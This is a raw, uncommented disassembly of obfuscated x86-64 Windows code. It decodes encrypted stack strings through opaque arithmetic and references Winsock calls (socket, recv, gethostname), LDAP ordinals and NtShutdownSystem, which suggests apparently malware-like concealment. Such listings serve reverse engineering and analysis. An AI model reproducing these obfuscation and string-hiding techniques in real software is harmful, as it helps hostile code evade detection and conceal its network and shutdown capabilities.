jmp 0x14011fdd2
lea edx, [r11 + 0x76]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x3a
jmp 0x140120692
sub r11b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
jmp 0x140120713
add r11b, 0x4a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 6
jmp 0x140120716
lea edx, [r11 - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r10b
jmp 0x140120808
add r11b, 0x1e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140120832
sub r11b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14011fdd2
sub r11b, 0x6f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 9
mov byte [rbp + rbx + 0x50], dl
inc rbx
jmp 0x14011fdd2
lea edx, [r11 - 5]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x23
add dl, cl
cmp r9, 0x61
jb 0x1401201f5
lea edx, [r11 - 0x1e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x5c]
jmp 0x1401207a7
lea edx, [r11 + 0x65]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x3d
add dl, cl
cmp r8, 0x80
jae 0x14012067a
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1401205d9
lea edx, [r11 + 6]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x2a
jmp 0x140120216
lea edx, [r11 - 0x31]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x57
add dl, cl
lea rax, [r8 + r9]
cmp rax, 0x20
je 0x1401206b5
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1401204e3
lea edx, [r11 + 0x5f]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x67
jmp 0x140120253
sub r11b, 0x16
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x66
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14011fdd2
add r11b, 0x54
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x4c
add dl, r11b
jmp 0x140120832
lea edx, [r11 - 0x42]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x32
jmp 0x140120808
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
jmp 0x140120716
sub r11b, 0x6e
movzx eax, r10b
and al, r11b
mov ecx, 1
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140120713
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r10b
jmp 0x140120692
add r11b, 0x66
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14011fdd2
sub r11b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x14011fdd2
lea edx, [r11 + 0x3a]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1401207a7
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140120417
lea edx, [r11 - 0x35]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x73
jmp 0x14012029b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012044a
add r11b, 0x4e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x22
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14011fdd2
inc rax
cmp r8, rax
jne 0x140120470
sub r11b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x3c
add dl, r11b
jmp 0x140120832
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140120495
add r11b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
jmp 0x140120716
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401204b9
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
jmp 0x140120692
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14012029d
lea edx, [r11 - 2]
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1401207a7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140120508
lea edx, [r11 - 0xb]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x4d
add dl, cl
jmp 0x1401207a7
inc rax
cmp r8, rax
jne 0x140120535
sub r11b, 0x75
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x33
inc r9
dec rbx
inc rbx
jmp 0x14011fdd2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14012055a
add r11b, 0x4d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1b
jmp 0x140120713
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012057f
sub r11b, 0x1d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x35
jmp 0x140120716
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401205a2
lea edx, [r11 + 0x79]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x4f
jmp 0x140120808
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140120255
sub r11b, 0x5b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x7d
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14011fdd2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012060c
sub r11b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x44
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14011fdd2
inc rax
cmp r8, rax
jne 0x140120632
add r11b, 0x32
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x5e
add dl, r11b
jmp 0x140120832
cmp r8, rcx
jne 0x140120651
lea edx, [r11 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x78
jmp 0x140120808
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140120218
lea edx, [r11 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x14
add dl, cl
jmp 0x1401207a7
lea edx, [r11 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, r10b
sub dl, 0x48
add dl, cl
add r11b, 0x43
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x2b
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x50], r10b
jmp 0x140120713
lea edx, [r11 + 0xe]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, r10b
sub dl, 0x62
jmp 0x140120808
sub r11b, 0x13
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7b
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14011fdd2
sub r11b, 0x6b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x13
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14011fdd2
add r11b, 0x69
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x21
dec rbx
inc rbx
jmp 0x14011fdd2
sub r11b, 0x2d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x3b
inc r9
dec rbx
inc rbx
jmp 0x14011fdd2
lea edx, [r11 + 0x3d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x55
add dl, cl
jmp 0x1401207a7
movzx r11d, bl
lea ecx, [r11 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x77
sub r11b, 0x53
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x45
add r10b, r11b
mov byte [rbp + rbx + 0x50], r10b
inc r9
dec rbx
inc rbx
jmp 0x14011fdd2
lea ecx, [rbx - 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x43
dec rbx
inc rbx
jmp 0x14011fdd2
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
movzx edx, r10b
sub dl, dil
add dl, 0x25
movzx r11d, bl
add dl, cl
sub r11b, 0x27
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x11
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rbx + 0x50], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r10b
mov byte [rbp + rbx + 0x50], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14011fdd2
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r10b, dil
lea edx, [rax + r10]
add dl, 0x59
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14011fdd2
add r11b, 0x77
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x41
jmp 0x14011fdd0
sub r11b, 0x1f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x27
jmp 0x14011fdc0
lea rdx, [rbp + 0x170f4b4]
jmp 0x1401208e1
lea rdx, [rbp + 0x16cc67f]
jmp 0x1401208e1
lea rdx, [rbp + 0x50]
movzx r9d, si
lea r8, str.NtShutdownSystem
mov rcx, qword [0x1402cdcd0]
call fcn.14012c720
xor eax, eax
mov byte [rbp + 0x150], al
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x110]
call fcn.140130be0
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.14003b180
lea rcx, [rbp + 0x170]
call fcn.14003a540
mov rax, qword [rbp + 0x1a8]
mov edx, dword [rax + 0x50]
xor r8d, r8d
lea rcx, [rbp + 0x151]
call fcn.140046950
mov r15, rax
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.14003b000
mov rcx, qword [rbp + 0x1a8]
mov r9d, dword [rcx + 0x50]
mov r8, qword [rbp + 0x188]
mov rdx, r15
lea rcx, [rbp + 0x151]
call fcn.140048110
mov rcx, qword [rbp + 0x1a8]
mov edx, dword [rcx + 0x28]
add rdx, r15
mov r9d, dword [rcx + 0x50]
mov r8, r15
lea rcx, [rbp + 0x151]
call fcn.140130c00
mov r12d, eax
mov dword [rsp + 0x70], 0x85b38bb4
mov dword [rsp + 0x74], 0xaa6697a9
mov dword [rsp + 0x78], 0x9a909d96
mov dword [rsp + 0x7c], 0x93a39f6c
mov dword [rbp - 0x80], 0xa69c9b95
mov dword [rbp - 0x7c], 0x27162fd8
mov dword [rbp - 0x78], 0x79e21ce8
mov byte [rbp - 0x74], 0x7c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x73], xmm0
mov dword [rbp - 0x63], eax
mov word [rbp - 0x5f], ax
movzx ebx, byte [rbp + 0x150]
nop dword [rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor r14d, r14d
movabs rax, 0x310c80bbf60222c
cmp r14, 0x33
jae 0x1401212ea
movzx r11d, byte [rsp + r14 + 0x70]
mov edi, r11d
cmp r8, r14
ja 0x1401212e1
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140120a4b
lea rcx, [r14 + rax]
mov rax, rdi
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdi
add rbx, rcx
sub bl, 0x34
jmp 0x140120a92
je 0x140121268
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401211d9
lea rax, [rcx + 1]
cmp r8, rax
je 0x1401211a9
lea rax, [r9 + 3]
cmp r8, rax
je 0x14012116a
lea rax, [r9 + 7]
cmp r8, rax
je 0x14012114a
lea rax, [r9 + 6]
cmp r8, rax
je 0x140121100
movzx r10d, r14b
cmp r9, r14
ja 0x1401212d8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140120abf
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x44
jmp 0x140120b00
je 0x1401210f5
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401210d3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401210b3
lea rax, [r9 + 7]
cmp r8, rax
je 0x140121099
lea rax, [r9 + 6]
cmp r8, rax
je 0x14012106a
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, r14
jbe 0x140120d93
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140120d79
lea rax, [r9 + 5]
cmp r8, rax
je 0x140120d50
lea rcx, [r9 + 0x1000]
cmp r8, rcx
je 0x140120d2e
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140120d20
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140120d00
mov r8, rcx
lea r9, [rcx + 0x64]
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x1401212b8
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x14012129c
lea rcx, [r9 + 0x64]
cmp r8, rcx
jb 0x140120c37
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140120c19
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140120bff
mov r8, rcx
lea r9, [rcx + 0x10]
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x140120cd1
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x140120cb3
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x140120c95
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x140120c79
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x140120c5d
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x140120b10
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x42]
jmp 0x140120b10
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x3c
jmp 0x140120b00
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x140120a96
add r10b, 0x34
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6c
movabs rax, 0x310c80bbf60222c
jmp 0x140120a20
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x80
jmp 0x1401211be
add r10b, 0x28
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x18
jmp 0x1401211c1
lea edx, [r10 - 0x30]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1401211fc
add r10b, 0x78
movzx eax, r11b
and al, r10b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x48
add bl, r10b
jmp 0x140121227
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
movzx eax, byte [rsp + r14 + 0x70]
add rax, r9
add r14, rax
inc r14
jmp 0x140120a03
add r10b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1401211be
lea edx, [r10 - 0x10]
mov ecx, gethostname
jmp 0x140121177
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x28
dec r14
inc r14
jmp 0x140120a03
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec r14
inc r14
jmp 0x140120a03
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x58
jmp 0x14012111d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140120e27
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x34
lea rax, [r9 + r8]
cmp rax, 6
je 0x14012104f
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x140120ec5
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x64
cmp r8, 1
jae 0x140121030
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140120f88
add r10b, 0x70
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x10
movzx eax, byte [rsp + r14 + 0x70]
add rax, r9
add r14, rax
inc r14
jmp 0x140120a03
jne 0x140120e58
add r10b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rsp + r14 + 0x70]
add rax, r9
add r14, rax
inc r14
jmp 0x140120a03
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140120e7b
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x58
jmp 0x1401211fc
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140120eaa
add r10b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec r14
inc r14
jmp 0x140120a03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140120db5
lea edx, [r10 - 8]
mov ecx, Ordinal_32
jmp 0x14012110d
jne 0x140120ed5
lea edx, [r10 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14012110d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140120f04
sub r10b, 0x7c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec r14
inc r14
jmp 0x140120a03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140120f2d
sub r10b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1401211c1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140120f50
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x3c
jmp 0x1401211fc
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140120de5
sub r10b, 0x6c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0xc
movzx eax, byte [rsp + r14 + 0x70]
add rax, r9
add r14, rax
inc r14
jmp 0x140120a03
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140120fad
lea edx, [r10 + 0x28]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x18
add bl, dl
jmp 0x140121187
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140120fd8
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x80
dec r14
inc r14
jmp 0x140120a03
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140120ffd
lea edx, [r10 + 0x30]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x50
add bl, dl
jmp 0x14012111d
cmp r9, 5
jb 0x140121023
lea edx, [r10 - 0x78]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x70]
jmp 0x14012111d
mov byte [rsp + r14 + 0x70], bl
inc r14
jmp 0x140120a03
lea edx, [r10 - 0x20]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x20
add bl, r11b
add bl, dl
jmp 0x140121187
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1401211fc
sub r10b, 0x4c
movzx eax, r10b
and al, r11b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rsp + r14 + 0x70]
add rax, r9
add r14, rax
inc r14
jmp 0x140120a03
lea ecx, [r10 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x1c
jmp 0x1401211fc
sub r10b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1401211c1
sub r10b, 0x5c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x7c
dec r14
inc r14
jmp 0x140120a03
lea edx, [r10 - 0xc]
mov ecx, Ordinal_46
jmp 0x14012110d
movzx r10d, r14b
lea edx, [r10 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, r11b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
sub r10b, 0x4c
movzx eax, r10b
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov byte [rsp + r14 + 0x70], cl
inc r9
dec r14
inc r14
jmp 0x140120a03
lea ecx, [r14 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0xc
dec r14
inc r14
jmp 0x140120a03
movzx r10d, r14b
lea edx, [r10 + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, dl
and al, r11b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
add r10b, 0xc
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x54
add cl, r11b
add cl, r10b
mov byte [rsp + r14 + 0x70], cl
jmp 0x1401211be
lea ecx, [r14 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x3c
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r14, rcx
inc r14
jmp 0x140120a03
movabs rcx, 0x157578523ba0ef34
add rcx, r14
and dil, cl
add dil, dil
movzx ebx, r11b
sub bl, dil
sub bl, 0x6c
add bl, cl
movzx r10d, r14b
add r10b, 0x64
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rsp + r14 + 0x70], al
inc r9
add rax, r9
sub r14, rax
lea edx, [r14 - 0x70]
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rsp + r14 + 0x70], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r14, rax
movzx eax, byte [rsp + r14 + 0x70]
add rax, r9
add r14, rax
inc r14
jmp 0x140120a03
movabs rcx, 0x93258233e206684
add rcx, r14
and dil, cl
mov eax, reloc.WLDAP32.dll_Ordinal_50
sub al, dil
lea ebx, [rax + rax]
add bl, r11b
add bl, cl
movzx eax, byte [rsp + r14 + 0x70]
add rax, r9
add r14, rax
inc r14
jmp 0x140120a03
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 4
jmp 0x1401209fe
sub r10b, 0x7c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1401209ed
lea rdx, [rbp + 0x156f500]
jmp 0x1401212ef
lea rdx, [rbp + 0x137172c]
jmp 0x1401212ef
lea rdx, [rsp + 0x70]
mov r8d, r12d
mov rcx, qword [0x1402cdcd0]
call fcn.140130cc0
mov rax, qword [rbp + 0x1a8]
mov r8d, dword [rax + 0x54]
mov rdx, r15
lea rcx, [rbp + 0x151]
call fcn.140049710
call fcn.14011cb80
test al, al
jne 0x140121adb
mov dword [rsp + 0x20], 0xb9bbafa5
mov dword [rsp + 0x24], 0x9bc68890
mov dword [rsp + 0x28], 0x959fc197
mov dword [rsp + 0x2c], 0x838f9a98
mov dword [rsp + 0x30], 0x829885c8
mov dword [rsp + 0x34], 0xc184988a
mov dword [rsp + 0x38], 0x92d2c7c6
mov dword [rsp + 0x3c], 0x97de8988
mov dword [rsp + 0x40], 0x8f968f99
mov dword [rsp + 0x44], 0x64267669
mov dword [rsp + 0x48], 0x6e717674
mov dword [rsp + 0x4c], 0xf044a60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x60], ax
mov byte [rsp + 0x62], al
movabs rsi, 0x5a4dbc3dd0673f94
movabs r15, 0x736f3ebf4577bfdc
movabs r14, 0x280ab73ae6463f04
movzx r8d, byte [rbp + 0x150]
nop
mov r10, qword [0x1402cdf20]
mov r11, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x140121ad1
movzx r9d, byte [rsp + rbx + 0x20]
mov edx, r9d
cmp r10, rbx
ja 0x140121ac5
lea rdi, [r11 + 1]
cmp r10, rdi
jae 0x140121418
lea rcx, [rbx + r15]
mov eax, edx
and rax, rcx
imul r8, rax, 0xfffffffffffffffe
add r8, rdx
add r8, rcx
sub r8b, 4
lea rcx, [rdi + 1]
lea rdx, [r11 + 9]
jmp 0x140121445
je 0x140121a79
lea rax, [r11 + 3]
cmp r10, rax
je 0x1401219fe
lea rcx, [rdi + 1]
cmp r10, rcx
je 0x1401219de
lea rdx, [r11 + 9]
cmp r10, rdx
je 0x14012199a
cmp r11, rbx
ja 0x140121ab9
lea rax, [r11 + 0x200]
cmp r10, rax
jae 0x140121471
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x54
jmp 0x1401214b0
cmp r10, rdi
je 0x140121980
cmp r10, rcx
je 0x14012195d
lea rax, [r11 + 5]
cmp r10, rax
je 0x14012192c
lea rax, [r11 + 4]
cmp r10, rax
je 0x140121910
lea rax, [r11 + 3]
cmp r10, rax
je 0x1401218f1
nop word [rax + rax]
lea rax, [r10 + r11]
cmp rax, rbx
jbe 0x1401215e7
nop dword [rax]
lea rax, [r11 + 0x42]
cmp r10, rax
je 0x1401215c5
lea rax, [r11 + 5]
cmp r10, rax
je 0x1401215a0
lea r10, [r11 + 0x40]
lea r11, [r10 + 5]
lea rax, [r11 + 0x40]
cmp r10, rax
jb 0x140121a9f
lea rax, [r11 + 4]
cmp r10, rax
jb 0x140121561
lea r10, [r11 + 0x61]
lea r11, [r10 + 4]
lea rax, [r11 + 0x61]
cmp r10, rax
ja 0x140121539
lea rax, [r11 + 0x28]
cmp r10, rax
ja 0x14012151f
lea r10, [r11 + 0x1000]
lea r11, [r10 + 0x28]
jmp 0x1401214c0
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x68
jmp 0x140121a3b
